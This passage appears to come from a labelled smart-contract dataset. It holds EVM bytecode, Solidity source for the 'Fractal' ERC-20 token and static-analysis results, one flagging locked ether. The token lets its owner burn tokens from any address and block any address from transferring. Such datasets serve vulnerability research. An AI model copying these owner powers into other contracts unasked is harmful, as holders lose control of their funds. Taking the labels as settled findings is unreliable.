60ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600254600090600160a060020a031633148061146857503360009081526003602052604090205460ff1615156001145b15156114e4576040805160e560020a62461bcd02815260206004820152602e60248201527f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207760448201527f616c6c657420616464726573732e000000000000000000000000000000000000606482015290519081900360840190fd5b838214611587576040805160e560020a62461bcd02815260206004820152604a60248201527f546865206e756d626572206f662077616c6c657420617272616e67656d656e7460448201527f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652060648201527f646966666572656e742e00000000000000000000000000000000000000000000608482015290519081900360a40190fd5b5060005b838110156109e2576115c58383838181106115a257fe5b33600090815260208181526040909120549391020135905063ffffffff611d0116565b3360009081526020819052604090205561163b8383838181106115e457fe5b9050602002013560008088888681811015156115fc57fe5b90506020020135600160a060020a0316600160a060020a0316600160a060020a0316815260200190815260200160002054611d6190919063ffffffff16565b60008087878581811061164a57fe5b60209081029290920135600160a060020a03168352508101919091526040016000205584848281811061167957fe5b90506020020135600160a060020a0316600160a060020a031633600160a060020a0316600080516020611f5183398151915285858581811015156116b957fe5b905060200201356040518082815260200191505060405180910390a360010161158b565b600254600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561057a5780601f1061054f5761010080835404028352916020019161057a565b60085460009060ff16156117a5576040805160e560020a62461bcd02815260206004820152601160248201527f546865726520697320612070617573652e000000000000000000000000000000604482015290519081900360640190fd5b3360009081526009602090815260408083205491839052909120546117d0908463ffffffff611d0116565b101561184c576040805160e560020a62461bcd02815260206004820152602e60248201527f417474656d7074696e6720746f2073656e64206d6f7265207468616e2074686560448201527f206c6f636b6564206e756d626572000000000000000000000000000000000000606482015290519081900360840190fd5b6118568383611dbe565b9392505050565b600254600160a060020a031633148061188a57503360009081526003602052604090205460ff1615156001145b1515611906576040805160e560020a62461bcd02815260206004820152602e60248201527f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207760448201527f616c6c657420616464726573732e000000000000000000000000000000000000606482015290519081900360840190fd5b60015481111580156119205750600160a060020a03821615155b15156119c2576040805160e560020a62461bcd02815260206004820152605560248201527f4974206973207468652066697273742077616c6c6574206f7220617474656d7060448201527f74656420746f206c6f636b20616e20616d6f756e74206772656174657220746860648201527f616e2074686520746f74616c20686f6c64696e672e0000000000000000000000608482015290519081900360a40190fd5b600160a060020a038216600090815260208190526040902054811115611a32576040805160e560020a62461bcd02815260206004820152601760248201527f506c6561736520636865636b2074686520616d6f756e74000000000000000000604482015290519081900360640190fd5b600160a060020a038216600081815260096020908152604091829020849055815184815291517f173c6954f6574ae8ea8afd3eed2fc6ddd6f1aac55aab5e2c3a10edc59ba2dfd39281900390910190a25050565b336000908152600760209081526040808320600160a060020a0386168452909152812054611aba908363ffffffff611d6116565b336000818152600760209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b600254600160a060020a03163314611ba7576040805160e560020a62461bcd0281526020600482015260216024820152600080516020611f31833981519152604482015260f960020a601702606482015290519081900360840190fd5b600160a060020a03811615801590611bcd5750600254600160a060020a03828116911614155b8015611bf65750600160a060020a03811660009081526003602052604090205460ff1615156001145b1515611c98576040805160e560020a62461bcd02815260206004820152604860248201527f4974206d75737420626520746865206578697374696e67206d616e616765722060448201527f77616c6c65742c206e6f7420746865206578697374696e67206f776e6572277360648201527f2077616c6c65742e000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600254604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115611d5b576040805160e560020a62461bcd02815260206004820152601960248201527f546865726520617265206d6f726520746f206465647563742e00000000000000604482015290519081900360640190fd5b50900390565b600082820183811015611856576040805160e560020a62461bcd02815260206004820152601c60248201527f546865206e756d62657220646964206e6f7420696e6372656173652e00000000604482015290519081900360640190fd5b6000600160a060020a03831615801590611dd757508115155b8015611df25750336000908152602081905260409020548211155b1515611e94576040805160e560020a62461bcd02815260206004820152604660248201527f506c6561736520636865636b2074686520616d6f756e74206f66207472616e7360448201527f6d697373696f6e206572726f7220616e642074686520616d6f756e7420796f7560648201527f2073656e642e0000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b33600090815260208190526040902054611eb4908363ffffffff611d0116565b3360009081526020819052604080822092909255600160a060020a03851681522054611ee6908363ffffffff611d6116565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020611f518339815191529281900390910190a35060019291505056004920616d206e6f7420746865206f776e6572206f66207468652077616c6c6574ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820d74e1244d84d652283e4d0e770574d4b8e1f7a9b4f326ede1393f9c1e6bf56f40029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
420
0xa37a69a5ac62157519738579b6d7212a939961de
pragma solidity ^0.4.23; // From OpenZeppelin contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // from Open-Zeppelin library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; // 1 denied / 0 allow mapping(address => uint8) permissionsList; function SetPermissionsList(address _address, uint8 _sign) public onlyOwner{ permissionsList[_address] = _sign; } function GetPermissionsList(address _address) public constant onlyOwner returns(uint8){ return permissionsList[_address]; } uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(permissionsList[msg.sender] == 0); require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(permissionsList[msg.sender] == 0); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is PausableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract BurnableByOwner is BasicToken { event Burn(address indexed burner, uint256 value); function burn(address _address, uint256 _value) public onlyOwner{ require(_value <= balances[_address]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = _address; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract Fractal is Ownable, MintableToken, BurnableByOwner { using SafeMath for uint256; string public constant name = "Fractal"; // solium-disable-line uppercase string public constant symbol = "FACT"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase // 10 billion uint256 public constant INITIAL_SUPPLY = 10 * 1000 * 1000 * 1000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461013857806306fdde0314610167578063095ea7b3146101f757806318160ddd1461025c57806323b872dd146102875780632ff2e9dc1461030c578063313ce567146103375780633871bf85146103685780633f4ba83a146103b857806340c10f19146103cf5780635c975abb14610434578063661884631461046357806370a08231146104c85780637d38b0271461051f5780637d64bcb41461057c5780638456cb59146105ab5780638da5cb5b146105c257806395d89b41146106195780639dc29fac146106a9578063a9059cbb146106f6578063d73dd6231461075b578063dd62ed3e146107c0578063f2fde38b14610837575b600080fd5b34801561014457600080fd5b5061014d61087a565b604051808215151515815260200191505060405180910390f35b34801561017357600080fd5b5061017c61088d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bc5780820151818401526020810190506101a1565b50505050905090810190601f1680156101e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020357600080fd5b50610242600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c6565b604051808215151515815260200191505060405180910390f35b34801561026857600080fd5b506102716108f6565b6040518082815260200191505060405180910390f35b34801561029357600080fd5b506102f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610900565b604051808215151515815260200191505060405180910390f35b34801561031857600080fd5b50610321610932565b6040518082815260200191505060405180910390f35b34801561034357600080fd5b5061034c610944565b604051808260ff1660ff16815260200191505060405180910390f35b34801561037457600080fd5b506103b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610949565b005b3480156103c457600080fd5b506103cd610a00565b005b3480156103db57600080fd5b5061041a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610abf565b604051808215151515815260200191505060405180910390f35b34801561044057600080fd5b50610449610cc2565b604051808215151515815260200191505060405180910390f35b34801561046f57600080fd5b506104ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cd5565b604051808215151515815260200191505060405180910390f35b3480156104d457600080fd5b50610509600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d05565b6040518082815260200191505060405180910390f35b34801561052b57600080fd5b50610560600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d4e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561058857600080fd5b50610591610dff565b604051808215151515815260200191505060405180910390f35b3480156105b757600080fd5b506105c0610ec6565b005b3480156105ce57600080fd5b506105d7610f86565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561062557600080fd5b5061062e610fab565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561066e578082015181840152602081019050610653565b50505050905090810190601f16801561069b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106b557600080fd5b506106f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fe4565b005b34801561070257600080fd5b50610741600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111fb565b604051808215151515815260200191505060405180910390f35b34801561076757600080fd5b506107a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061122b565b604051808215151515815260200191505060405180910390f35b3480156107cc57600080fd5b50610821600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061125b565b6040518082815260200191505060405180910390f35b34801561084357600080fd5b50610878600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e2565b005b600560019054906101000a900460ff1681565b6040805190810160405280600781526020017f4672616374616c0000000000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff161515156108e457600080fd5b6108ee8383611437565b905092915050565b6000600354905090565b6000600560009054906101000a900460ff1615151561091e57600080fd5b610929848484611529565b90509392505050565b601260ff16600a0a6402540be4000281565b601281565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109a457600080fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a5b57600080fd5b600560009054906101000a900460ff161515610a7657600080fd5b6000600560006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1c57600080fd5b600560019054906101000a900460ff16151515610b3857600080fd5b600560009054906101000a900460ff16151515610b5457600080fd5b610b698260035461194690919063ffffffff16565b600381905550610bc182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560009054906101000a900460ff1681565b6000600560009054906101000a900460ff16151515610cf357600080fd5b610cfd8383611962565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dab57600080fd5b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5c57600080fd5b600560019054906101000a900460ff16151515610e7857600080fd5b6001600560016101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f2157600080fd5b600560009054906101000a900460ff16151515610f3d57600080fd5b6001600560006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f464143540000000000000000000000000000000000000000000000000000000081525081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561104157600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561108f57600080fd5b8290506110e482600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf390919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061113c82600354611bf390919063ffffffff16565b6003819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b6000600560009054906101000a900460ff1615151561121957600080fd5b6112238383611c0c565b905092915050565b6000600560009054906101000a900460ff1615151561124957600080fd5b6112538383611e8e565b905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561137957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614151561158857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156115c457600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561161257600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561169d57600080fd5b6116ef82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061178482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185682600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf390919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000818301905082811015151561195957fe5b80905092915050565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611a73576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b07565b611a868382611bf390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000828211151515611c0157fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16141515611c6b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611ca757600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cf557600080fd5b611d4782600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf390919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ddc82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611f1f82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194690919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820afbc07aadad98bccc0551a108002d7b1cdc8737ca2827009be5e1f8b1a2413760029
{"success": true, "error": null, "results": {}}
421
0x79e3899125160bd3bd62d0d98ad07a7183ee5f38
/** *Submitted for verification at Etherscan.io on 2021-04-01 */ /* A community driven decentralized exchange, platform built for trading ERC-20 tokens, interoperable with other chains, bridging the gap between assets of different blockchain, with staking feature enabled. Dextrust token will be liquidity fuel for the platform, giving back power to the community & holders. Dextrust token will be used as governance token for Decentralized Autonomous Organisation (DAO) where community & holders can upvote proposals on actions & decisions taken, bringing a full decentralized model into Dextrust DEXTrust Dealing with Governance Challenges The field of on-chain governance in the blockchain industry is known to face some challenges that are addressed by the solutions offered by DEXTrust. Some common challenges are: • All members are expected to act in the given interest of the group entirely –not guaranteed in some large, disparate community. • Blockchains tend to be immutable. As such, once the votes get placed for the proposed changes, it could not be rolled back. • There is a natural tendency to recreate the models for legacy governance onto the respective on-chain dynamics raising a higher 